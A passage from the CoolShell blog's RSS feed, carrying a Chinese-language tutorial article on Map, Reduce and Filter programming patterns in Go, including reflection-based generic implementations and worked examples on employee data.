，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/09/go-generics-150x150.png\" alt=\"Go编程模式 ： 泛型编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_title\">Go编程模式 ： 泛型编程</a></li><li ><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.k8s-150x150.png\" alt=\"Go 编程模式：k8s Visitor 模式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_title\">Go 编程模式：k8s Visitor 模式</a></li><li ><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.line_.-150x150.png\" alt=\"Go编程模式：Pipeline\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_title\">Go编程模式：Pipeline</a></li><li ><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.pair_-150x150.png\" alt=\"Go编程模式：委托和反转控制\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_title\">Go编程模式：委托和反转控制</a></li><li ><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" alt=\"Go编程模式：Map-Reduce\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_title\">Go编程模式：Map-Reduce</a></li><li ><a href=\"https://coolshell.cn/articles/21146.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.options-150x150.png\" alt=\"Go 编程模式：Functional Options\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21146.html\" class=\"wp_rp_title\">Go 编程模式：Functional Options</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/21179.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>18</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Go编程模式：Map-Reduce</title>\n\t\t<link>https://coolshell.cn/articles/21164.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/21164.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 24 Dec 2020 07:13:52 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Go 语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[functional]]></category>\n\t\t<category><![CDATA[functional-programming]]></category>\n\t\t<category><![CDATA[Go]]></category>\n\t\t<category><![CDATA[golang]]></category>\n\t\t<category><![CDATA[MapReduce]]></category>\n\t\t<category><![CDATA[函数式]]></category>\n\t\t<category><![CDATA[函数式编程]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=21164</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在本篇文章中，我们学习一下函数式编程的中非常重要的Map、Reduce、Filter的三种操作，这三种操作可以让我们非常方便灵活地进行一些数据处理——我们的程序...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/21164.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-21251\" src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce-300x192.png\" alt=\"\" width=\"300\" height=\"192\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce-300x192.png 300w, https://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce-768x491.png 768w, https://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce-422x270.png 422w, https://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce.png 992w\" sizes=\"(max-width: 300px) 100vw, 300px\" />在本篇文章中，我们学习一下函数式编程的中非常重要的Map、Reduce、Filter的三种操作，这三种操作可以让我们非常方便灵活地进行一些数据处理——我们的程序中大多数情况下都是在到倒腾数据，尤其对于一些需要统计的业务场景，Map/Reduce/Filter是非常通用的玩法。下面先来看几个例子：</p>\n<section class=\"post-series\"><h3 class=\"post-series-title\">本文是全系列中第5 / 10篇：<a href=\"https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f\">Go编程模式</a></h3><ul class=\"post-series-list\"><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21128.html\">Go编程模式：切片，接口，时间和性能</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21140.html\">Go 编程模式：错误处理</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></span></li><li class=\"post-series-item-current post-series-item\"><span class=\"post-series-item-title\">Go编程模式：Map-Reduce</span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></span></li></ul><nav class=\"post-series-nav\"><span class=\"post-series-nav-prev\">&laquo; <a href=\"https://coolshell.cn/articles/21214.html\" rel=\"prev\" title=\"Go编程模式：委托和反转控制\">上一篇文章</a></span><span class=\"post-series-nav-next\"><a href=\"https://coolshell.cn/articles/21179.html\" rel=\"next\" title=\"Go 编程模式：Go Generation\">下一篇文章</a> &raquo;</span></nav></section>\n<h4>基本示例</h4>\n<h5>Map示例</h5>\n<p>下面的程序代码中，我们写了两个Map函数，这两个函数需要两个参数，</p>\n<ul>\n<li>一个是字符串数组 <code>[]string</code>，说明需要处理的数据一个字符串</li>\n<li>另一个是一个函数<code>func(s string) string</code> 或 <code>func(s string) int</code></li>\n</ul>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func MapStrToStr(arr []string, fn func(s string) string) []string {\n    var newArray = []string{}\n    for _, it := range arr {\n        newArray = append(newArray, fn(it))\n    }\n    return newArray\n}\n\nfunc MapStrToInt(arr []string, fn func(s string) int) []int {\n    var newArray = []int{}\n    for _, it := range arr {\n        newArray = append(newArray, fn(it))\n    }\n    return newArray\n}</pre>\n<p>整个Map函数运行逻辑都很相似，函数体都是在遍历第一个参数的数组，然后，调用第二个参数的函数，然后把其值组合成另一个数组返回。</p>\n<p><span id=\"more-21164\"></span></p>\n<p>于是我们就可以这样使用这两个函数：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">var list = []string{\"Hao\", \"Chen\", \"MegaEase\"}\n\nx := MapStrToStr(list, func(s string) string {\n    return strings.ToUpper(s)\n})\nfmt.Printf(\"%v\\n\", x)\n//[\"HAO\", \"CHEN\", \"MEGAEASE\"]\n\ny := MapStrToInt(list, func(s string) int {\n    return len(s)\n})\nfmt.Printf(\"%v\\n\", y)\n//[3, 4, 8]</pre>\n<p>我们可以看到，我们给第一个 <code>MapStrToStr()</code> 传了函数做的是 转大写，于是出来的数组就成了全大写的，给<code>MapStrToInt()</code> 传的是算其长度，所以出来的数组是每个字符串的长度。</p>\n<p>我们再来看一下Reduce和Filter的函数是什么样的。</p>\n<h5><strong>Reduce 示例</strong></h5>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func Reduce(arr []string, fn func(s string) int) int {\n    sum := 0\n    for _, it := range arr {\n        sum += fn(it)\n    }\n    return sum\n}\n\nvar list = []string{\"Hao\", \"Chen\", \"MegaEase\"}\n\nx := Reduce(list, func(s string) int {\n    return len(s)\n})\nfmt.Printf(\"%v\\n\", x)\n// 15\n</pre>\n<h5><strong>Filter示例</strong></h5>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func Filter(arr []int, fn func(n int) bool) []int {\n    var newArray = []int{}\n    for _, it := range arr {\n        if fn(it) {\n            newArray = append(newArray, it)\n        }\n    }\n    return newArray\n}\n\nvar intset = []int{1, 2, 3, 4, 5, 6, 7, 8, 9, 10}\nout := Filter(intset, func(n int) bool {\n   return n%2 == 1\n})\nfmt.Printf(\"%v\\n\", out)\n\nout = Filter(intset, func(n int) bool {\n    return n &gt; 5\n})\nfmt.Printf(\"%v\\n\", out)\n</pre>\n<p>下图是一个比喻，其非常形象地说明了Map-Reduce是的业务语义，其在数据处理中非常有用。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-21169\" src=\"https://coolshell.cn/wp-content/uploads/2020/12/map-reduce.png\" alt=\"\" width=\"794\" height=\"442\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/12/map-reduce.png 794w, https://coolshell.cn/wp-content/uploads/2020/12/map-reduce-300x167.png 300w, https://coolshell.cn/wp-content/uploads/2020/12/map-reduce-768x428.png 768w, https://coolshell.cn/wp-content/uploads/2020/12/map-reduce-360x200.png 360w, https://coolshell.cn/wp-content/uploads/2020/12/map-reduce-485x270.png 485w\" sizes=\"(max-width: 794px) 100vw, 794px\" /></p>\n<h4>业务示例</h4>\n<p>通过上面的一些示例，你可能有一些明白，Map/Reduce/Filter只是一种控制逻辑，真正的业务逻辑是在传给他们的数据和那个函数来定义的。是的，这是一个很经典的“业务逻辑”和“控制逻辑”分离解耦的编程模式。下面我们来看一个有业务意义的代码，来让大家强化理解一下什么叫“控制逻辑”与业务逻辑分离。</p>\n<h5>员工信息</h5>\n<p>首先，我们一个员工对象，以及一些数据</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type Employee struct {\n    Name     string\n    Age      int\n    Vacation int\n    Salary   int\n}\n\nvar list = []Employee{\n    {\"Hao\", 44, 0, 8000},\n    {\"Bob\", 34, 10, 5000},\n    {\"Alice\", 23, 5, 9000},\n    {\"Jack\", 26, 0, 4000},\n    {\"Tom\", 48, 9, 7500},\n    {\"Marry\", 29, 0, 6000},\n    {\"Mike\", 32, 8, 4000},\n}</pre>\n<h5>相关的Reduce/Fitler函数</h5>\n<p>然后，我们有如下的几个函数：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">func EmployeeCountIf(list []Employee, fn func(e *Employee) bool) int {\n    count := 0\n    for i, _ := range list {\n        if fn(&amp;list[i]) {\n            count += 1\n        }\n    }\n    return count\n}\n\nfunc EmployeeFilterIn(list []Employee, fn func(e *Employee) bool) []Employee {\n    var newList []Employee\n    for i, _ := range list {\n        if fn(&amp;list[i]) {\n            newList = append(newList, list[i])\n        }\n    }\n    return newList\n}\n\nfunc EmployeeSumIf(list []Employee, fn func(e *Employee) int) int {\n    var sum = 0\n    for i, _ := range list {\n        sum += fn(&amp;list[i])\n    }\n    return sum\n}</pre>\n<p>简单说明一下：</p>\n<ul>\n<li><code>EmployeeConutIf</code> 和 <code>EmployeeSumIf</code> 分别用于统满足某个条件的个数或总数。它们都是Filter + Reduce的语义。</li>\n<li><code>EmployeeFilterIn</code> 就是按某种条件过虑。就是Fitler的语义。</li>\n</ul>\n<h5>各种自定义的统计示例</h5>\n<p>于是我们就可以有如下的代码。</p>\n<p><strong>1）统计有多少员工大于40岁</strong></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">old := EmployeeCountIf(list, func(e *Employee) bool {\n    return e.Age &gt; 40\n})\nfmt.Printf(\"old people: %d\\n\", old)\n//old people: 2\n</pre>\n<p><strong>2）统计有多少员工薪水大于6000</strong></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">high_pay := EmployeeCountIf(list, func(e *Employee) bool {\n    return e.Salary &gt;= 6000\n})\nfmt.Printf(\"High Salary people: %d\\n\", high_pay)\n//High Salary people: 4\n</pre>\n<p><strong>3）列出有没有休假的员工</strong></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">no_vacation := EmployeeFilterIn(list, func(e *Employee) bool {\n    return e.Vacation == 0\n})\nfmt.Printf(\"People no vacation: %v\\n\", no_vacation)\n//People no vacation: [{Hao 44 0 8000} {Jack 26 0 4000} {Marry 29 0 6000}]\n</pre>\n<p><strong>4）统计所有员工的薪资总和</strong></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">total_pay := EmployeeSumIf(list, func(e *Employee) int {\n    return e.Salary\n})\n\nfmt.Printf(\"Total Salary: %d\\n\", total_pay)\n//Total Salary: 43500\n</pre>\n<p><strong>5）统计30岁以下员工的薪资总和</strong></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">younger_pay := EmployeeSumIf(list, func(e *Employee) int {\n    if e.Age &lt; 30 {\n        return e.Salary\n    } \n    return 0\n})</pre>\n<h4>泛型Map-Reduce</h4>\n<p>我们可以看到，上面的Map-Reduce都因为要处理数据的类型不同而需要写出不同版本的Map-Reduce，虽然他们的代码看上去是很类似的。所以，这里就要带出来泛型编程了，Go语言在本文写作的时候还不支持泛型（注：Go开发团队技术负责人Russ Cox在2012年11月21golang-dev上的mail确认了Go泛型(type parameter)将在Go 1.18版本落地，即2022.2月份）。</p>\n<h5>简单版 Generic Map</h5>\n<p>所以，目前的Go语言的泛型只能用 <code>interface{}</code> + <code>reflect</code>来完成，<code>interface{}</code> 可以理解为C中的 <code>void*</code>，Java中的 <code>Object</code> ，<code>reflect</code>是Go的反射机制包，用于在运行时检查类型。</p>\n<p>下面我们来看一下一个非常简单不作任何类型检查的泛型的Map函数怎么写。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">func Map(data interface{}, fn interface{}) []interface{} {\n    vfn := reflect.ValueOf(fn)\n    vdata := reflect.ValueOf(data)\n    result := make([]interface{}, vdata.Len())\n\n    for i := 0; i &lt; vdata.Len(); i++ {\n        result[i] = vfn.Call([]reflect.Value{vdata.Index(i)})[0].Interface()\n    }\n    return result\n}</pre>\n<p>上面的代码中，</p>\n<ul>\n<li>通过 <code>reflect.ValueOf()</code> 来获得 <code>interface{}</code> 的值，其中一个是数据 <code>vdata</code>，另一个是函数 <code>vfn</code>，</li>\n<li>然后通过 <code>vfn.Call()</code> 方法来调用函数，通过 <code>[]refelct.Value{vdata.Index(i)}</code>来获得数据。</li>\n</ul>\n<p>Go语言中的反射的语法还是有点令人费解的，但是简单看一下手册还是能够读懂的。我这篇文章不讲反射，所以相关的基础知识还请大家自行Google相关的教程。</p>\n<p>于是，我们就可以有下面的代码——不同类型的数据可以使用相同逻辑的<code>Map()</code>代码。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">square := func(x int) int {\n  return x * x\n}\nnums := []int{1, 2, 3, 4}\n\nsquared_arr := Map(nums,square)\nfmt.Println(squared_arr)\n//[1 4 9 16]\n\n\n\nupcase := func(s string) string {\n  return strings.ToUpper(s)\n}\nstrs := []string{\"Hao\", \"Chen\", \"MegaEase\"}\nupstrs := Map(strs, upcase);\nfmt.Println(upstrs)\n//[HAO CHEN MEGAEASE]</pre>\n<p>但是因为反射是运行时的事，所以，如果类型什么出问题的话，就会有运行时的错误。比如：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">x := Map(5, 5)\nfmt.Println(x)</pre>\n<p>上面的代码可以很轻松的编译通过，但是在运行时就出问题了，还是panic错误……</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">panic: reflect: call of reflect.Value.Len on int Value\n\ngoroutine 1 [running]:\nreflect.Value.Len(0x10b5240, 0x10eeb58, 0x82, 0x10716bc)\n        /usr/local/Cellar/go/1.15.3/libexec/src/reflect/value.go:1162 +0x185\nmain.Map(0x10b5240, 0x10eeb58, 0x10b5240, 0x10eeb60, 0x1, 0x14, 0x0)\n        /Users/chenhao/.../map.go:12 +0x16b\nmain.main()\n        /Users/chenhao/.../map.go:42 +0x465\nexit status 2</pre>\n<h5>健壮版的Generic Map</h5>\n<p>所以，如果要写一个健壮的程序，对于这种用<code>interface{}</code> 的“过度泛型”，就需要我们自己来做类型检查。下面是一个有类型检查的Map代码：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func Transform(slice, function interface{}) interface{} {\n  return transform(slice, function, false)\n}\n\nfunc TransformInPlace(slice, function interface{}) interface{} {\n  return transform(slice, function, true)\n}\n\nfunc transform(slice, function interface{}, inPlace bool) interface{} {\n \n  //check the <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">slice</code> type is Slice\n  sliceInType := reflect.ValueOf(slice)\n  if sliceInType.Kind() != reflect.Slice {\n    panic(\"transform: not slice\")\n  }\n\n  //check the function signature\n  fn := reflect.ValueOf(function)\n  elemType := sliceInType.Type().Elem()\n  if !verifyFuncSignature(fn, elemType, nil) {\n    panic(\"trasform: function must be of type func(\" + sliceInType.Type().Elem().String() + \") outputElemType\")\n  }\n\n  sliceOutType := sliceInType\n  if !inPlace {\n    sliceOutType = reflect.MakeSlice(reflect.SliceOf(fn.Type().Out(0)), sliceInType.Len(), sliceInType.Len())\n  }\n  for i := 0; i &lt; sliceInType.Len(); i++ {\n    sliceOutType.Index(i).Set(fn.Call([]reflect.Value{sliceInType.Index(i)})[0])\n  }\n  return sliceOutType.Interface()\n\n}\n\nfunc verifyFuncSignature(fn reflect.Value, types ...reflect.Type) bool {\n\n  //Check it is a funciton\n  if fn.Kind() != reflect.Func {\n    return false\n  }\n  // NumIn() - returns a function type's input parameter count.\n  // NumOut() - returns a function type's output parameter count.\n  if (fn.Type().NumIn() != len(types)-1) || (fn.Type().NumOut() != 1) {\n    return false\n  }\n  // In() - returns the type of a function type's i'th input parameter.\n  for i := 0; i &lt; len(types)-1; i++ {\n    if fn.Type().In(i) != types[i] {\n      return false\n    }\n  }\n  // Out() - returns the type of a function type's i'th output parameter.\n  outType := types[len(types)-1]\n  if outType != nil &amp;&amp; fn.Type().Out(0) != outType {\n    return false\n  }\n  return true\n}\n</pre>\n<p>上面的代码一下子就复杂起来了，可见，复杂的代码都是在处理异常的地方。我不打算Walk through 所有的代码，别看代码多，但是还是可以读懂的，下面列几个代码中的要点：</p>\n<ul>\n<li>代码中没有使用Map函数，因为和数据结构和关键有含义冲突的问题，所以使用<code>Transform</code>，这个来源于 C++ STL库中的命名。</li>\n<li>有两个版本的函数，一个是返回一个全新的数组 &#8211; <code>Transform()</code>，一个是“就地完成” &#8211; <code>TransformInPlace()</code></li>\n<li>在主函数中，用 <code>Kind()</code> 方法检查了数据类型是不是 Slice，函数类型是不是Func</li>\n<li>检查函数的参数和返回类型是通过 <code>verifyFuncSignature()</code> 来完成的，其中：\n<ul>\n<li><code>NumIn()</code> &#8211; 用来检查函数的“入参”</li>\n<li> <code>NumOut()</code> 用来检查函数的“返回值”</li>\n</ul>\n</li>\n<li>如果需要新生成一个Slice，会使用 <code>reflect.MakeSlice()</code> 来完成。</li>\n</ul>\n<p>好了，有了上面的这段代码，我们的代码就很可以很开心的使用了：</p>\n<p>可以用于字符串数组</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">list := []string{\"1\", \"2\", \"3\", \"4\", \"5\", \"6\"}\nresult := Transform(list, func(a string) string{\n    return a +a +a\n})\n//{\"111\",\"222\",\"333\",\"444\",\"555\",\"666\"}\n</pre>\n<p>可以用于整形数组</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">list := []int{1, 2, 3, 4, 5, 6, 7, 8, 9}\nTransformInPlace(list, func (a int) int {\n  return a*3\n})\n//{3, 6, 9, 12, 15, 18, 21, 24, 27}\n</pre>\n<p>可以用于结构体</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">var list = []Employee{\n    {\"Hao\", 44, 0, 8000},\n    {\"Bob\", 34, 10, 5000},\n    {\"Alice\", 23, 5, 9000},\n    {\"Jack\", 26, 0, 4000},\n    {\"Tom\", 48, 9, 7500},\n}\n\nresult := TransformInPlace(list, func(e Employee) Employee {\n    e.Salary += 1000\n    e.Age += 1\n    return e\n})</pre>\n<h5>健壮版的 Generic Reduce</h5>\n<p>同样，泛型版的 Reduce 代码如下：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func Reduce(slice, pairFunc, zero interface{}) interface{} {\n  sliceInType := reflect.ValueOf(slice)\n  if sliceInType.Kind() != reflect.Slice {\n    panic(\"reduce: wrong type, not slice\")\n  }\n\n  len := sliceInType.Len()\n  if len == 0 {\n    return zero\n  } else if len == 1 {\n    return sliceInType.Index(0)\n  }\n\n  elemType := sliceInType.Type().Elem()\n  fn := reflect.ValueOf(pairFunc)\n  if !verifyFuncSignature(fn, elemType, elemType, elemType) {\n    t := elemType.String()\n    panic(\"reduce: function must be of type func(\" + t + \", \" + t + \") \" + t)\n  }\n\n  var ins [2]reflect.Value\n  ins[0] = sliceInType.Index(0)\n  ins[1] = sliceInType.Index(1)\n  out := fn.Call(ins[:])[0]\n\n  for i := 2; i &lt; len; i++ {\n    ins[0] = out\n    ins[1] = sliceInType.Index(i)\n    out = fn.Call(ins[:])[0]\n  }\n  return out.Interface()\n}</pre>\n<h5>健壮版的 Generic Filter</h5>\n<p>同样，泛型版的 Filter 代码如下（同样分是否“就地计算”的两个版本）：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">func Filter(slice, function interface{}) interface{} {\n  result, _ := filter(slice, function, false)\n  return result\n}\n\nfunc FilterInPlace(slicePtr, function interface{}) {\n  in := reflect.ValueOf(slicePtr)\n  if in.Kind() != reflect.Ptr {\n    panic(\"FilterInPlace: wrong type, \" +\n      \"not a pointer to slice\")\n  }\n  _, n := filter(in.Elem().Interface(), function, true)\n  in.Elem().SetLen(n)\n}\n\nvar boolType = reflect.ValueOf(true).Type()\n\nfunc filter(slice, function interface{}, inPlace bool) (interface{}, int) {\n\n  sliceInType := reflect.ValueOf(slice)\n  if sliceInType.Kind() != reflect.Slice {\n    panic(\"filter: wrong type, not a slice\")\n  }\n\n  fn := reflect.ValueOf(function)\n  elemType := sliceInType.Type().Elem()\n  if !verifyFuncSignature(fn, elemType, boolType) {\n    panic(\"filter: function must be of type func(\" + elemType.String() + \") bool\")\n  }\n\n  var which []int\n  for i := 0; i &lt; sliceInType.Len(); i++ {\n    if fn.Call([]reflect.Value{sliceInType.Index(i)})[0].Bool() {\n      which = append(which, i)\n    }\n  }\n\n  out := sliceInType\n\n  if !inPlace {\n    out = reflect.MakeSlice(sliceInType.Type(), len(which), len(which))\n  }\n  for i := range which {\n    out.Index(i).Set(sliceInType.Index(which[i]))\n  }\n\n  return out.Interface(), len(which)\n}</pre>\n<h4>后记</h4>\n<p>还有几个未尽事宜：</p>\n<p>1）使用反射来做这些东西，会有一个问题，<strong>那就是代码的性能会很差。所以，上面的代码不能用于你需要高性能的地方</strong>。怎么解决这个问题，我们会在本系列文章的下一篇文章中讨论。</p>\n<p>2）上面的代码大量的参考了 Rob Pike的版本，他的代码在 <a href=\"https://github.com/robpike/filter\" target=\"_blank\" rel=\"noopener\">https://github.com/robpike/filter</a></p>\n<p>3）其实，在全世界范围内，有大量的程序员都在问Go语言官方什么时候在标准库中支持 Map/Reduce，Rob Pike说，这种东西难写吗？还要我们官方来帮你们写么？这种代码我多少年前就写过了，但是，我从来一次都没有用过，我还是喜欢用“For循环”，我觉得你最好也跟我一起用 “For循环”。</p>\n<p>我个人觉得，Map/Reduce在数据处理的时候还是很有用的，Rob Pike可能平时也不怎么写“业务逻辑”的代码，所以，对他来说可能也不太了解业务的变化有多么的频繁……</p>\n<p>当然，好还是不好，由你来判断，但多学一些编程模式是对自己的帮助也是很有帮助的。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/21146.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.options-150x150.png\" alt=\"Go 编程模式：Functional Options\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21146.html\" class=\"wp_rp_title\">Go 编程模式：Functional Options</a></li><li ><a href=\"https://coolshell.cn/articles/17929.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/06/go-hardhat-150x150.png\" alt=\"Go编程模式：修饰器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17929.html\" class=\"wp_rp_title\">Go编程模式：修饰器</a></li><li ><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/09/go-generics-150x150.png\" alt=\"Go编程模式 ： 泛型编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_title\">Go编程模式 ： 泛型编程</a></li><li ><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.k8s-150x150.png\" alt=\"Go 编程模式：k8s Visitor 模式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_title\">Go 编程模式：k8s Visitor 模式</a></li><li ><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.line_.-150x150.png\" alt=\"Go编程模式：Pipeline\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_title\">Go编程模式：Pipeline</a></li><li ><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.pair_-150x150.png\" alt=\"Go编程模式：委托和反转控制\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_title\">Go编程模式：委托和反转控制</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/21164.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>19</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Go 编程模式：Functional Options</title>\n\t\t<link>https://coolshell.cn/articles/21146.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/21146.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 22 Dec 2020 15:23:52 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Go 语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[functional]]></category>\n\t\t<category><![CDATA[functional-programming]]></category>\n\t\t<category><![CDATA[Go]]></category>\n\t\t<category><![CDATA[golang]]></category>\n\t\t<category><![CDATA[Pattern]]></category>\n\t\t<category><![CDATA[函数式编程]]></category>\n\t\t<guid 